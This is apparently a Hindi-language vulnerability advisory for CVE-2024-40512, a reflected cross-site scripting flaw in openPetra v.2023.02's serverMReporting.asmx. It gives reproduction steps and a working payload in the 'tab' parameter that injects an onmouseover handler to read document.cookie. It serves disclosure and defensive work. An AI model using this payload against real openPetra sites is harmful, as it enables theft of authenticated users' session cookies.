CVE-2024-40512

openPetra v.2023.02 में serverMReporting.asmx फ़ंक्शन के माध्यम से क्रॉस साइट स्क्रिप्टिंग भेद्यता

विवरण: एक अप्रमाणित उपयोगकर्ता, openPetra v.2023.02 में serverMReporting.asmx फ़ंक्शन के माध्यम से XSS का शोषण करके प्रमाणित उपयोगकर्ता से कुकीज़ चुरा सकता है।

संवेदनशील उत्पाद संस्करण: openPetra v.2023.02
CVE लेखक: Jansen Moreira दिनांक: 13/07/2024
CVE: CVE-2024-40512
CVE लिंक: https://www.cve.org/CVERecord?id=CVE-2024-40512
NVD लिंक: https://nvd.nist.gov/vuln/detail/CVE-2024-40512
Tenable लिंक: https://www.tenable.com/cve/CVE-2024-40512
पुष्टि तिथि: 13/07/2024
परीक्षण किया गया: Linux

पुनरुत्पादन के चरण:

1- होम पेज तक पहुँचें
2- निम्न पथ का उपयोग करें और tab पैरामीटर में xss पेलोड जोड़ें। उदा.: http://target.com/api/serverMReporting.asmx?bnd=TMReportingWebServiceSoap&op=TReportGeneratorWebConnector_GetProgress&page=op&tab=x" onmouseover=alert(document.cookie) x="
3- XSS को ट्रिगर करने के लिए बाएँ इंडेक्स आइटम पर माउस घुमाएँ

पेलोड्स:
tab: x" onmouseover=alert(document.cookie) x="

खोजकर्ता/क्रेडिट्स: Jansen Moreira